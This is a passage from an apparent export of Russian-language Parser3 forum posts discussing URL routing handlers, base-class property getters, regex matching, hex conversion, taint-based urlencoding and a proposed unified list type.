$fURI[^param.match[^(?:/(.+?))?(?:/(.+?))?(?:/(.+?))?(?:/(.+?))?(?:/(.+?))?(?:\\?(.+?))?(?:&(.+?))?(?:&(.+?))?(?:&(.+?))?(?:&(.+?))?(?:&(.+?))?(?:&(.+?))?(?:&(.+?))?(?:&(.+?))?(?:&(.+?))?^$][g]]\
$_uri[\
	$.[$fURI.1][^existence[$.part[$fURI.1]]]\
	$.[$fURI.2][...]\
	$.[$fURI.3][...]\
	$.[$fURI.4][...]\
	$.[$fURI.5][...]\
]\
^if($_uri.[$fURI.1] eq 'true'){\
	$cSection[^get.getSections[$.url[$fURI.1]]]\
	^S.page[\
		$.s_id[${cSection.id}]\
	]\
}\
$_query[\
	$.[$fURI.6][...]\
	$.[$fURI.7][...]\
	$.[$fURI.8][...]\
	$.[$fURI.9][...]\
	$.[$fURI.10][...]\
	$.[$fURI.11][...]\
	$.[$fURI.12][...]\
	$.[$fURI.13][...]\
	$.[$fURI.14][...]\
	$.[$fURI.15][...]\
][/code]\
\
Вот допустим @dispatch[URL][locals], Я не знаю что такое locals, в документации написано, что это использование локальных переменных внутри метода.\
Что это дает, использование [locals]?\
\
Не заметил где Вы делаете сверку между полученными данными и данными в БД.\
\
Я понял код так:\
В .htaccess стоит:\
RewriteCond	%{REQUEST_FILENAME} !-f\
RewriteCond	%{REQUEST_FILENAME} !-d\
RewriteRule	^(.+)?$	/?url=$1 [L,QSA]\
\
Main передает методу $form:url.\
Метод создает таблицу в которой содержится название обработчика и что-то похожее на адрес, где применяется данный обработчик.\
Еще создается хеш со всеми полями $form\
\
Дальше берется адрес, нарезается, делаем первую букву адреса большой, перед адресом добавляем on, записываем в таблицу имя обработчика и путь, где он применяется.\
\
И если $handler is junction, то передаем $handler параметры, $handler в итоге принимает форму нужного нам обработчика.\
\
И это все ясно.\
\
Получается как Вы и говорили /news/2015/best\
Нужно писать метод @onNews2015Best[] и в нем разбираем хеш $form.\
\
Получается если у нас будет категория /catalog, то нам необходимо создать метод @onCatalog[]\
\
А мне нужно немного другое, нужно чтобы было проще, чтобы был метод не onNews, а onEntries, в котором происходит вывод страницы с записью, а onGoods будет выводить страницу с товаром, onHeading страницу с подразделом.\
\
У меня создано несколько классов, например класс страницы с записью, класс страницы с товаром, класс страницы с разделом.\
Есть класс который разбивает $request:uri, проверяет каждую часть адреса, если такие записи в БД существуют, то вызываем нужный нам класс (метод).\
Например /catalog/else/shit\
Обработчик проверяет если shit, это товар который относиться к подкатегории else, которая тоже существует и относиться к категории catalog, которая в свою очередь тоже существет, то вызывается класс страницы товара, который выводит конкретный товар.\
\
Я это реализовал не лучшим способом. И у меня задача выводить title, keywords и description в head страницы, но не знаю как в auto.p вызывать переменную, которая содержится в хеше класса страницы."
"82294","[quote]$param[$request:uri]\
$fURI[^param.match[^(?:/(.+?))?(?:/(.+?))?(?:/(.+?))?(?:/(.+?))?(?:/(.+?))?(?:\\?(.+?))?(?:&(.+?))?(?:&(.+?))?(?:&(.+?))?(?:&(.+?))?(?:&(.+?))?(?:&(.+?))?(?:&(.+?))?(?:&(.+?))?(?:&(.+?))?^$][g]]\
$_uri[\
	$.[$fURI.1][^existence[$.part[$fURI.1]]]\
	$.[$fURI.2][...]\
	$.[$fURI.3][...]\
	$.[$fURI.4][...]\
	$.[$fURI.5][...]\
]\
^if($_uri.[$fURI.1] eq 'true'){\
	$cSection[^get.getSections[$.url[$fURI.1]]]\
	^S.page[\
		$.s_id[${cSection.id}]\
	]\
}\
$_query[\
	$.[$fURI.6][...]\
	$.[$fURI.7][...]\
	$.[$fURI.8][...]\
	$.[$fURI.9][...]\
	$.[$fURI.10][...]\
	$.[$fURI.11][...]\
	$.[$fURI.12][...]\
	$.[$fURI.13][...]\
	$.[$fURI.14][...]\
	$.[$fURI.15][...]\
]\
[/quote]\
\
Я не буду это комментировать.\
\
[quote]Вот допустим @dispatch[URL][locals], Я не знаю что такое locals, в документации написано, что это использование локальных переменных внутри метода.\
Что это дает, использование [locals]?[/quote]\
\
В документации всё написано верно.\
\
[quote]Не заметил где Вы делаете сверку между полученными данными и данными в БД.[/quote]\
\
Любые необходимые проверки делаются в обработчике после вызова.\
[code]@onNews[params]\
$news[^sql.table{SELECT … WHERE … = '$params.…'}][/code]\
\
[quote]Я понял код так[/quote]\
\
Всё верно.\
\
[quote]Получается как Вы и говорили /news/2015/best\
Нужно писать метод @onNews2015Best[] и в нем разбираем хеш $form.[/quote]\
\
Он уже разобран, остаётся только воспользоваться им.\
\
[quote]А мне нужно немного другое, нужно чтобы было проще, чтобы был метод не onNews, а onEntries, в котором происходит вывод страницы с записью, а onGoods будет выводить страницу с товаром, onHeading страницу с подразделом.[/quote]\
\
И в чём проблема задать нужные обработчики?\
\
/entries/\
@onEntries[params]\
Будет вызываться обращениях к /entries/.*? если не заданы более точные обработчики.\
\
/entries/some-slug/\
@onEntries[params], где в params будет $.slug[some-slug]\
\
А для адреса\
/entries/favorite/\
можно задать свой обработчик\
@onEntriesFavorite[params]\
и в нём делать специфическую генерацию именно этой страницы.\
\
Обработчик может звать другие обработчики.\
\
[quote]У меня создано несколько классов, например класс страницы с записью, класс страницы с товаром, класс страницы с разделом.\
Есть класс который разбивает $request:uri, проверяет каждую часть адреса, если такие записи в БД существуют, то вызываем нужный нам класс (метод).\
Например /catalog/else/shit\
Обработчик проверяет если shit, это товар который относиться к подкатегории else, которая тоже существует и относиться к категории catalog, которая в свою очередь тоже существет, то вызывается класс страницы товара, который выводит конкретный товар.[/quote]\
\
У вас же пример с новостями перед глазами.\
\
[code]@onCatalog[params]\
^if(def $params.slug){\
	^onSection[\
		$.slug[$params.slug]\
		$.trap[^params.trap.mid(^params.slug.length[] + 1)]\
	]\
}{\
	catalogue root\
}\
\
@onSection[params]\
^if(def $params.slug){\
	^if(def $params.trap){\
		^onItem[$.slug[$params.trap]]\
	}{\
		section $params.slug root\
	}\
}{\
	^onNotFound[]\
}\
\
@onItem[params]\
^if(…){\
	item $params.slug\
}{\
	^onNotFound[]\
}\
[/code]\
\
Код не универсален, это лишь пример того, как подобного рода маршрутизация работает.\
\
Для случая, когда часть адреса является динамической, а часть статической и необходим разбор динамической части регулярными выражениями.\
Известен префикс, остальное разбирается по частям и передаётся обработчику.\
\
[quote]И у меня задача выводить title, keywords и description в head страницы[/quote]\
\
[url=http://www.parser.ru/forum/?id=82160]Повторюсь[/url]:\
[quote]Мета-данные — такой же контент, привязанный к адресу.\
Его стоит хранить и обрабатывать аналогично.[/quote]\
\
[quote]не знаю как в auto.p вызывать переменную, которая содержится в хеше класса страницы.[/quote]\
\
Этого я не понимаю, «сапоги всмятку»."
"82295","Win, Parser 3.4.4 RC.\
\
[code]@main[]\
$t[^test2::create[]]\
^t.print[]\
\
\
@CLASS\
test\
\
@create[]\
$self.value[some]\
\
@print[]\
$self.property\
\
@GET_property[]\
$result[[base value: $self.value]]\
\
\
@CLASS\
test2\
\
@BASE\
test\
\
@GET_property[]\
$result[$BASE:property, [child value: $self.value]][/code]\
\
Ожидаем: [base value: some], [child value: some].\
Получаем: [base value: ], [child value: some].\
\
Похоже, $BASE:property — это обращение к статическому полю класса, и трюк «динамический вызов, под видом статического» вызова методов базового класса с полями не работает.\
Стоит декларировать статическое поле и значение будет получено.\
[code]@auto[]\
$self.value[][/code]\
\
Тогда неясно как, и можно ли, обратиться к динамическим «полям родительского класса», организованным в виде свойств.\
\
Поясню.\
Хочется такого:\
[code]@main[]\
$t[^test2::create[]]\
^t.print[]\
\
\
@CLASS\
test\
\
@create[]\
$self.value[some]\
\
@print[]\
^self.property[]\
\
@property[]\
$result[[base value: $self.value]]\
\
\
@CLASS\
test2\
\
@BASE\
test\
\
@property[]\
$result[^BASE:property[], [child value: $self.value]][/code]\
но через доступ к геттерам посредством свойств.\
\
Update.\
Как оказалось, обратиться к «перекрытому свойству» родителя можно как к методу, вызвав геттер:\
[code]^BASE:GET_property[][/code]\
\
Не верх элегантности, но хоть что-то."
"82296","В панели управления создаются разделы и подразделы, далее создаются и товары и записи. Все URL адреса формируются исходя из записей в БД.\
И заранее неизвестно какой метод нужно создавать и вызывать.\
Если допустим адрес записи будет /some, то как мне по типу этой записи вызывать метод onEntries, в то же время может быть /some не записью, а товаром или разделом и соответственно нужно вызывать или onEntries или onGoods или onSections.\
Все понял кроме этого."
"82297","Значит у вас хранится сегмент пути для каждой сущности.\
Разбили URI на части и ищите с первой, затем второй сегмент в детях найденного на первом шаге объекта и так далее.\
\
Но обычно известен хотя бы префикс — путь раздела, в котором живёт концептуальный модуль сайта, будь то магазин, блог или иное.\
От него и можно плясать.\
\
Но не нужно доставать из базы всё и искать перебором."
"82298","Задачка исключительно [i]для примера[/i]:\
\
Есть uri - /zero/one/?two=1\
Из нее надо получить URL. Можно это сделать с помощью mid и pos но хочется регуляркой. И хочется чтобы это выглядело вот так просто:\
\
[code]$url[^uri.match[^^([^^\\?]+)][]{\"$match.1\"}][/code]\
\
Но так работать не будет, потому что хотя регулярка и отработает, но в результат попадет и хвост тоже \
\
$url \"/zero/one/\"?two=1\
\
Чтобы этого не произошло, нужно либо изменить регулярку, дописав в нее то, что нам НЕ нужно:\
[code]$url[^uri.match[^^([^^\\?]+)[b].*[/b]][]{\"$match.1\"}][/code]\
\
Либо написать вот так:\
\
[code][b]$fake[/b][^request:uri.match[^^([^^\\?]+)][]{\
		$url[$match.1]\
}]\
[/code]\
где фейковая переменная нужна только для того, чтобы тот самый хвост не выплюнулся в поток, что конечно тоже некрасиво.\
\
Еще есть вариант с получением таблицы совпадений и ее разбором, но это совсем страх и ужас.\
\
Нельзя ли реализовать нужный вариант\
\
[code]$url[^uri.match[^^([^^\\?]+)][]{$match.1}][/code]\
\
то есть чтобы match возвращал только то, что мы ищем, как вариант чтобы такой режим задавался каким нибудь ключом?"
"82301","... Если тебе надо только найти, то:\
[code]$url[^uri.match[^^([^^\\?]+)][]]\
$url[$url.1]\
[/code]"
"82302","Я знаю, и про этот вариант я тоже написал. Считаю это самым ужасом из всех. Мало того, что это выглядит мягко говоря не очень в смысле кода, так еще и целая структура (таблица) создается, которая совершенно не нужна"
"82303","Там как раз таблица и создается. Подозреваю, что при $t[^s.match[...]] $t[$match.1] самый быстрый способ. Надо померять.\
\
Если бы у  нас были цепочки, то можно было написать $t[^s.match[...].1]. Но и с промежуточной переменной все нормально выглядит  на мой вкус. :)"
"82304","Хочется что то типа simple-режима\
[code]$s[^s.match[(regex)][G]{$match.1}][/code]\
или даже совсем просто\
[code]$s[^s.match[(regex)][G]][/code]\
Который просто выдаст то, что нашлось, без дополнительного шаманства. G - условный ключик режима"
"82305","Но учитывая, что у нас в регулярке есть скобки, то он и возвращает не одно значение, а структуру. Для ситуации, когда надо проверить соответствует ли строка регулярке есть ключик n. Делать какой-то выверт для поиска какого-то одного значения мне кажется сомнительной идеей."
"82306","По логике, как в том же Питоне, match — наличие совпадения, find и его варианты — поиск подстроки.\
Match исторически делает и то и другое.\
\
Для [code]$s[^s.match[(regex)][G]][/code] подошёл бы [code]$s[^s.find[(regex)][/code], который был бы эквивалентен [code]^s.match[(regex);]{$s[$match.1]}[/code], но был бы оптимизирован и возвращал строку.\
\
Но вопрос как быть с несколькими совпадениями?\
Искать первое или все?\
А если нужно второе?\
Если все — снова возвращать таблицу?\
\
Есть мнение, задача относительно редкая, чтобы для неё что-то оптимизировать или делать ключи или методы.\
Хотя, согласен, что задача вполне реальная — сам сталкивался неоднократно."
"82307","В питоне вроде find возвращает позицию найденной строки (аналог нашего ^s.pos()).\
\
Там есть search() возвращающий первую строку соответствующую шаблону и findall() возвращающий массив всех совпадений. А match() тоже что search(), только ищущий с первой позиции. Какая то мутная система в именах :)\
\
$s[^s.search[шаблон]] возвращающий первое найденное вхождение подошел бы прекрасно. Для всех остальных случаев остался бы match.\
\
Задачка попадается чаще, чем кажется. Я постоянно на нее натыкаюсь, как следствие все время приходится дописывать регулярку .*(regex).* чтобы выкинуть лишнее"
"82308","[quote]В питоне вроде find возвращает позицию найденной строки (аналог нашего ^s.pos()).\
\
Там есть search() возвращающий первую строку соответствующую шаблону и findall() возвращающий массив всех совпадений. А match() тоже что search(), только ищущий с первой позиции.[/quote]\
\
Хм. Запамятовал.\
Мне помнилось логичнее.\
\
[quote]$s[^s.search[шаблон]] возвращающий первое найденное вхождение подошел бы прекрасно.[/quote]\
\
Поддержка параметров потребуется, за исключением «g», «n» и «'»."
"82309","Для единообразия да. PCRE-модификаторы можно и в сам шаблон воткнуть\
[code]$s[^s.search[(?i)шаблон]] [/code]"
"82310","[quote]Похоже, $BASE:property — это обращение к статическому полю класса, и трюк «динамический вызов, под видом статического» вызова методов базового класса с полями не работает.\
Стоит декларировать статическое поле и значение будет получено. \
[/quote]\
\
Да, но по факту это свежая несовместимость. Не называю багом, поскольку документирован только ^BASE:method[]. :) И его текущая реализация плоха - ведет к дополнительным проверкам при каждом вызове метода (и баги в этом коде уже были), поэтому ее и убрал. Записал в to-do, в идеале это во время компиляции надо обрабатывать."
"82312","[code]^math:convert[0x8e1bc9bf040000](16;10)[/code]\
->\
40000000000000000\
\
[quote]* Расширен c 32 до 64 бит поддерживаемый диапазон чисел в функции ^math:convert[] и при записи числа в шестнадцатеричном виде (0XNN).[/quote]\
[url=http://www.parser.ru/forum/?id=81847]Parser 3.4.4 RC[/url]"
"82313","cgi-bin/lib/libparser3mysql.so: ELF file OS ABI invalid\
\
как быть? сервер Linux"
"82315","[quote]Да, но по факту это свежая несовместимость. Не называю багом, поскольку документирован только ^BASE:method[]. :) И его текущая реализация плоха - ведет к дополнительным проверкам при каждом вызове метода (и баги в этом коде уже были), поэтому ее и убрал.[/quote]\
\
Печально.\
\
А обходной путь — обращаться к геттеру напрямую — безопасен?\
Такая возможность не пропадёт?"
"82316","http://www.parser.ru/forum/?terms=%22ELF+file+OS+ABI+invalid%22&author=&doSearch=%CD%E0%E9%F2%E8"
"82317","'convert' '0x2bc9bdd975674c400' is out of range (int) :(\
\
Похоже нужно будет \"вручную\" писать алгоритм конвертации... Мож у кого есть готовый?"
"82318","[code]SELECT CONV('2BC9BDD975674C40', 16, 10)[/code]\
->\
3155261755625000000"
"82319","Да, об этом знаю %).\
Вообщем уже написал:\
\
[code]\
@tohex[s]\
$s[^s.match[^^0x][g]{}] $n[^hash::create[]] $l(^s.length[]-1) $num(0)\
\
^for[i](0;10){$n.[$i][$i]} $n.a[11] $n.b[12] $n.c[13] $n.d[14] $n.e[15] $n.f[16]\
\
^for[i](0;$l){^num.inc($n.[^s.mid($i;1)] * ^math:pow(16;$l - $i))}\
\
$result($num)\
[/code]\
\
Есть у кого идеи по оптимизации?"
"82320","B как оно работает, если математика средствами Парсера?..\
\
Вы же упрётесь в предел 32/64 бита, в зависимости от битности Парсера."
"82321","Для числа 0x2bc9bdd975674c400 работает. Затрудняюсь сказать сколько оно бит :)"
"82323","Оно вероятно уже неточно работает. Точность double - 56 бит. У convert точность 64 бита за счет того, что результатом является строка."
"82324","[quote]А обходной путь — обращаться к геттеру напрямую — безопасен? Такая возможность не пропадёт?\
[/quote]\
\
Не пропадет, оно документировано в коде и тестируется. Правда не связано со свойствами:\
// if someone used get_xxx names to name regular methods"
"82326","Доброго времени суток, такая проблема: создал поддомен имя.домен.рф залил туда новый сайт, делаю проверку через домен.рф/имя/_test.html выдает вот что: DOCUMENT_ROOT: «кривой» или скрипт находится не в корне веб пространства, вопрос что сделать, где смотреть???"
"82327","Тема закрыта разобрался\
В корневом auto.p \
было\
$CLASS_PATH[^table::create{path\
/classes\
}]\
добавил строчку,\
 стало\
$CLASS_PATH[^table::create{path\
/classes/\
./classes/\
}]"
"82328","Прямо в @auto[] генерятся два числа и считается их сумма.\
Пишутся три кука: числа и сумма.\
\
В коде пишу форму \"Пожалуйста, сложите кук и кук: поле\".\
\
^if($def $form:submit && $form:поле eq $cookie:sum){действие}{фигействие}\
\
Не получаю действия никогда. Пробовал подписывать $cookie:sum в текст страницы после поля ввода - всё верно, прекрасно кук пишется-читается, но этот if не обрабатывается как положительный ни в каком случае.\
\
Не видите ли ошибку?"
"82330","Вот копипаст из авты:\
\
[code]^if(def $form:question && def $form:go\
#&& $form:cres eq $cookie:cres\
){[/code]\
\
$cookie:cres представляет собой целевое число, проверено. Включить вторую строку - форма перестаёт положительно выполняться."
"82331","Куда быстрее не писать письмо на форум (которое все равно не содержит достаточно информации, чтобы дать ответ), а отладить свой код. Выведите в ответ (или запишите в лог-файл) все свои значения:\
\
[code]submit: =$form:submit= \
поле: =$form:поле= \
cookie: =$cookie:sum=\
[/code]\
\
И сразу будет понятно, что именно не так."
"82332","[code]@main[]\
$t[^table::create{a\
1\
2}]\
\
\
^t.sort(\
	$test[1]\
	$t.a\
)[/code]\
\
[i]Unhandled Exception\
syntax error, unexpected '[', expecting EON\
exception.type=parser.compile[/i]\
\
Стоит убрать $test[1] — ошибка пропадает.\
\
В случае, когда [url=http://www.parser.ru/forum/?id=82139]такой код проксирует сортировку[/url], внутри кода как раз нужно сделать ряд действий, например, выставить переменные $caller'а."
"82333","[quote]Стоит убрать $test[1] — ошибка пропадает.[/quote]\
\
Логично, у выражений свой синтаксис. А что мешает сделать так?\
\
[code]@main[]\
$t[^table::create{a\
1\
2}]\
\
^t.sort(^double[])\
\
@double[]\
    $caller.test[1]\
    $result($caller.t.a)\
[/code]"
"82334","[quote]А что мешает сделать так?[/quote]\
\
Ничего не мешает, но лишний метод.\
\
Сделал через промежуточный метод:\
[code]@sort[key;value;sort;order]\
^if($sort is double){\
	^self.data.sort[k;v](^self._double{\
		$caller.$key[$k]\
		$caller.$value[$v]\
\
		$sort\
	})[$order]\
}{\
	^self.data.sort[k;v]{\
		$caller.$key[$k]\
		$caller.$value[$v]\
\
		$sort\
	}[$order]\
}\
\
\
@_double[code]\
$result($code)[/code]"
"82344","Подскажите как эту строчку написанную на Perl превратить в Parser?\
[code]$str =~ s/([^A-Za-z0-9-._~])/sprintf(\"%%%02X\", ord($1))/seg;[/code]\
пробовал \
[code]^taint[uri][/code]\
Но что-то не так...\
\
Есть класс запросов для к twitter api написанный на parser`e, единственную, вот эту строчку приходится вызывать из внешнего скрипта.\
Спс. С наступившим всех."
"82345","Если я правильно понял, что вам надо, попробуйте\
\
[code]\
^apply-taint[uri][$your_escaped_uri]\
\
# или для \"форсированного варианта\"\
\
^your_escaped_uri.js-escape[]\
[/code]"
"82346","В Perl эта строка для кодирования строк в URL-ы (urlencode)\
[code]\
$str =~ s/([^A-Za-z0-9])/sprintf(\"%%%02X\", ord($1))/seg;\
[/code]\
\
Вот собственно код самого скрипта на Perl\
[code]\
#!/usr/bin/perl\
# print \"Content-Type: text/html\\n\\n\";\
\
$str = $ENV{CGI_STR};\
$str =~ s/([^A-Za-z0-9-._~])/sprintf(\"%%%02X\", ord($1))/seg;\
print $str;\
[/code]\
\
\
Посмотрел что перловская строка кодирует еще и слеши \"/\" -> \"%2F\",\
сейчас написал на парсере вот так, пока вроде работает, правда не знаю, может какие еще камешки повылезают\
[code]\
$str[^taint[uri][$str]]\
$result[^str.replace[/;%2F]]\
[/code]\
\
Спасибо."
"82347","Писал с раннего утра - сорри.\
\
в вашем случае\
используйте ^apply-taint[uri][$str]\
вместо ^taint\
\
т.к. taint не меняет значение переменной вообще.\
а лишь дает встроенному механизму фильтрации входящих/исходящих\
данных инструкцию как преобразовать эту строку непосредственно\
перед отдачей во вне (когда весь код уже исполнен)\
\
Вашим кодом - в месте ^str.replace - вы делаете\
не дополнительную шлифовку, а наоборт впервые меняете содержимое\
строки + (скорее всего отменяете верхнюю по коду рекомендацию ^taint[uri] на [as-is] (тут нужны комментарии более опытных, я не помню всех случаев как он отрабатывает)\
\
^taint - отдельный оператор и не метод класса string, это совсем иная история. \
И может получится так, что строка вида: \
a/b  - станет => сначала a%2Fb\
и отрабатываемый лишь в конце фильтра uri\
может превратить уже существующее a%2Fb  в => a%252Fb \
то есть произойдет двойное преобразование и кодирование самого символа %\
\
плюс (не уверен за Perl) есть ли корректное кодирование utf-8 символов? т.к. они кодируются видом: %u0430 \
\
Код ниже форсировано закодирует в %hex все символы\
причем корректно (в случае с utf)\
и сразу по коду (не бойтесь вы приставки js у метода)\
это все равно метод класса string и он просто кодирует\
чуть больше символов чем \
тем более, что вам и слеш и точки кодировать надо\
\
\
[code]\
$_tab[^table::create{from to\
+	%2B\
*	%2A	\
-	%2D\
.	%2E\
/	%2F\
_	%5F\
\\	%5C\
}]\
$_str[^_str.js-escape[]]\
$_str[^_str.replace[$_tab]]\
[/code]"
"82348","Честно говоря я не знаю как кодирует Perl, но \
точку -> \".\"\
дефис -> \"-\"\
низ.подчеркивание -> \"_\" \
вышеописанный скрипт на Perl не кодирует.\
\
Сделал так как у вас написано...\
Пока API Twitter`a нормально авторизируется и съедает все запросы.\
Если ракоментировать строки, то все валится. Надо после праздников разобраться. \
\
[code]\
$_tab[^table::create{from to\
+	%2B\
*	%2A	\
#-	%2D\
#.	%2E\
/	%2F\
#_	%5F\
\\	%5C\
}]\
$_str[^_str.js-escape[]]\
$_str[^_str.replace[$_tab]]\
[/code]\
\
Спасибо еще раз за развернутый ответ и разжовывание"
"82349","Ну и не кодируйте эти символы - это я для избыточности дописал."
"82350","т.к. не знаете, что потом делается с данной строкой.\
\
если она выводится в тело страницы, то taint[uri] + replace -- как раз то, что нужно."
"82351","Почему бы не дать возможность передавать в replace не только строку и таблицу, но и хеш замен?\
\
[code]@main[]\
$h[\
	$.a[b]\
]\
$s[ac]\
\
^s.replace[$h]\
\
# bc[/code]"
"82352","Хорошо если как раз на этом примере будет разъяснено\
что на самом деле\
\
Я как раз и написал, что не помню (потому что помню, что помнил :)\
но все время забываю, про механизм окрашивания и мне показалась\
вот такой код ниже, небезопасным\
\
\
Человек пишет:\
[code]\
$str[^taint[uri][$str]]\
$result[^str.replace[/;%2F]]\
[/code]\
\
Хотя, судя по всему он работает.\
Поясните, тогда где я ошибаюсь - вот как я на это смотрю:\
\
^taint\
1) \"помечает\" строку (отдельно каждый символ строки и это тайное знание)\
какой вид преобразования к строке (на самом деле к отдельному символу) применить непосредственно перед\
отдачей (т.е. когда весь код завершился)\
\
2) он не просто помечает, но и попутно выводит эту же переменную в этом же месте кода, \
поэтому когда надо просто \"пометить\" необходимо присваивание $str[^taint[uri][$str]]\
\
Возникает логический вопрос:\
если преобразования \"помеченной\" строки возникают\
только в конце исполнения, то все изменения \
с этой строкой до завершения кода\
только потом попадают под taint-фильтр (и это так, но!)\
\
таким образом, да, ошибка восприятия в том, \
что кажется очевидным, что если мы назначили \
[b]вид пост-фактум преобразования[/b] для строки,\
а потом ДО этого преобразования изменили строку\
replace-ом, то уже этот результат должен попасть\
в конечном счете под taint-преобразование.\
\
Но \"дьявол\", как водится, в деталях, и дело (как я понял)\
именно в посимвольном пачкании (что не сильно афишируется в документации и именно поэтому и вводит в дальнейшие заблуждения)\
\
И именно поэтому те символы уже помеченной строки, которые\
я по коду изменю replace'ом поменяют свой taint на какой-то другой\
(на какой?) на as-is или tainted ?\
\
И именно поэтому эта часть строки \
не будет затронута фильтром taint[uri]?\
\
И как мы видим, код вида:\
[code]\
$str_1[a/b]\
$str_1[^str_1.replace[/;%2F]]\
$str_1[^taint[uri][$str_1]]\
\
$str_2[a/b]\
$str_2[^taint[uri][$str_2]]\
$str_2[^str_2.replace[/;%2F]]\
\
= $str_1\
= $str_2\
\
# Результат\
= a%252Fb\
= a%2Fb\
[/code]\
\
\
Последовательность имеет значение,\
только потому что replace - \"депачкает\" мой $str_1[^taint[uri]..]\
в части replace-нутых символов\
\
Вот это неявное перепачкивание и невозможность вывести\
состояние \"окрашенности\" строки куда-то в отладку\
и создает, как мне кажется, запутанность.\
\
Почему replace - перепачкивает, а присвоение str[^taint[str]]\
нет? ведь \"код написанный программистом\" это as-is?\
\
Или распутаете мешанину в моей голове ))\
\
P.S.: Поэтому я и написал, что если на 100% не уверен в том как это работает, то даже если это работает, лучше так не делать,\
потому что механизм работает совсем не так, как аналог кода на Perl. И лучше использовать apply-taint - т.к. результат соответствует внутренним ожиданиям того, что хотел сделать автор."
"82353","[quote]1) \"помечает\" строку (отдельно каждый символ строки и это тайное знание)\
какой вид преобразования к строке (на самом деле к отдельному символу) применить непосредственно перед\
отдачей (т.е. когда весь код завершился)[/quote]\
\
Да.\
\
[quote]2) он не просто помечает, но и попутно выводит эту же переменную в этом же месте кода, \
поэтому когда надо просто \"пометить\" необходимо присваивание $str[^taint[uri][$str]][/quote]\
\
Этот оператор возвращает помеченную строку, оставляя оригинал нетронутым.\
\
[quote]если мы назначили \
вид пост-фактум преобразования для строки,\
а потом ДО этого преобразования изменили строку\
replace-ом, то уже этот результат должен попасть\
в конечном счете под taint-преобразование[/quote]\
\
Так и есть.\
Покраска хранится посимвольно.\
Измените символы или покраску символов — изменится результат преобразования всей строки.\
\
[quote]И именно поэтому те символы уже помеченной строки, которые\
я по коду изменю replace'ом поменяют свой taint на какой-то другой\
(на какой?) на as-is или tainted ?[/quote]\
\
Зависит от того, как заменять.\
Если в лоб — ^string.replace[а;б] — as-is, так как это написано в коде, если испачкать строку замены — замените на испачканное, с тем видом, которым пачкали — ^string.replace[а;^taint[uri;б]].\
\
[quote]И именно поэтому эта часть строки \
не будет затронута фильтром taint[uri]?[/quote]\
\
Это не фильтр.\
При выводе строка преобразуется посимвольно, в соответствии с испачканностью.\
\
[quote]Последовательность имеет значение[/quote]\
\
Конечно имеет.\
\
В первом случае вы в чистой строке делаете чистую замену, а потом весь результат пачкаете как uri.\
В результате, трансформация заменит всё, и получится двойное кодирование.\
\
Во втором случае вы чистую строку пометили как uri, затем заменили / на %2F, на as-is символы.\
И последующая трансформация при выводе эти символы не затронет, они чистые.\
\
[quote]Вот это неявное перепачкивание и невозможность вывести\
состояние \"окрашенности\" строки куда-то в отладку\
и создает, как мне кажется, запутанность.[/quote]\
\
Оно вполне явное.\
Вывести его можно с помощью ^apply-taint[].\
\
[quote]Почему replace - перепачкивает, а присвоение str[^taint[str]]\
нет? ведь \"код написанный программистом\" это as-is?[/quote]\
\
Он не «перепачкивает», он заменяет символы на те, что ему дают.\
Они могут быть как чистые, так и испачканные, в зависимости от источника или явных манипуляций.\
\
Присвоение — это присвоение, а не указание чистых символов в коде.\
Иначе любое присвоение бы очищало данные.\
\
[code]@main[]\
# чистая строка, написанная программистом\
$str[абв]\
# вся строка, помечена как небезопасные uri-данные\
$str[^taint[uri;$str]]\
\
# получим percent-закодированные символы всей строки\
^apply-taint[$str]<br/>\
\
# заменим символ грязной строки, на чистый символ, написанный программистом\
$str[^str.replace[б;б]]\
\
# получим percent-закодированные символы, кроме того, что заменён на чистый, он выведен как есть\
^apply-taint[$str]<br/>\
\
# заменим чистый символ на грязный вручную\
$str[^str.replace[б;^taint[uri;б]]]\
\
# снова получим percent-закодированные символы всей строки\
^apply-taint[$str][/code]"
"82354","Да, в общем, все так как я и предполагал.\
\
\
[quote]Это не фильтр.\
При выводе строка преобразуется посимвольно, в соответствии с испачканностью.[/quote]\
\
Я просто так выразился, собственно из вашей же корректирующей формулировки вполне себе фильтр (не в понятии удаляющий \"мусор\", а в понятии \"преобразующий\")\
\
А вот тут приниципиально интересно, вы пишите:\
[quote]Этот оператор [b]возвращает помеченную строку[/b], оставляя оригинал нетронутым.[/quote]\
\
А в документации пишут:\
[quote]Оператор taint [b]помечает весь переданный ему текст (читай аргумент)[/b][/quote]\
\
Так помечает он аргумент или только возвращает помеченное как результат, оставляя аргумент не тронутым?"
"82355","[quote]Так помечает он аргумент или только возвращает помеченное как результат, оставляя аргумент не тронутым?[/quote]\
\
Что мешает проверить?\
\
[code]@main[]\
$str[абв]\
$t_str[^taint[uri;$str]]\
\
origin: ^apply-taint[$str]<br/>\
tainted: ^apply-taint[$t_str][/code]\
\
origin: абв\
tainted: %D0%B0%D0%B1%D0%B2\
\
Оператор помечает весь текст и возвращает в виде результата."
"82356","[quote]Оператор помечает весь переданный текст... и возвращает в виде результата.[/quote]\
\
Хорошая попытка отмыть документацию :)\
Но мало кто додумает именно так прочитав впервые документацию,\
а вот наоборот вполне охотно.\
\
В общем именно эти моменты (сокрытие тайного знания о посимвольности окрашивания), \"неявные\" (когда не знаешь о посимвольности) перекрашивания, плюс такие формулировки в доке\
\
превращают taint-измы в культ пастафарианского кода..."
"82357","Поэтому никакой метод изменить оригинальную строку не может."
"82358","Поглядывая на другие языки... \
парсеровские таблицы выглядят как атавизм сегодня.\
\
А) усложняют одновременную поддержку разработчку Парсера\
B) усложняют жизнь разработчику на Парсере (с постояйнной конвертацией туда-сюда в каждом подручном месте)\
\
Парсеровский hash - перестал быть \"кучей\", с момента введения\
порядка элементов. И теперь это фактически питоновский List (список), а точнее Dict (словарь). \
\
Таблица это частный случай List/Dict элементами которого является одинаковые по структуре подсписки(словари), что и создает плоский массив - (\"одинаковость\" по структуре закрепляется tuple-ом (кортежем)\
\
И самому универисальному словарю/списку добавить встроенных операций над ним. Минимально достаточное и удобное можно подсмотреть их того же GoLang (который говорит, что просто add/delete - маловато будет)\
Вот для List из https://golang.org/pkg/container/list/\
\
Для случая Парсера можно просто добавить атрибут(tupled/table) в конструктор для Dict/List. \
Чтобы он работал как таблица.\
\
Причем (не знаю как сейчас) - для таблиц ключ для каждой строки\
не нужен, поэтому для гипотетического Parser.Dict \
можно опционально не иметь имени ключа, и обращаться в таком случае только по номеру элемента.\
\
Это даст сразу кучу возможностей: \
- Унифицирует две частных случая в один => \
  Не надо будет делать конвератции туда-сюда.\
  Один класс и его методы по манипуляции с этой структурой.\
- Поля таблицы могут заиметь тип(!) отличный от string (По желанию)\
\
Представим гипотетический код Parser4:\
[code]\
# Назовём - List, потому что короче...\
\
$mytable[\
   ^List::create[\
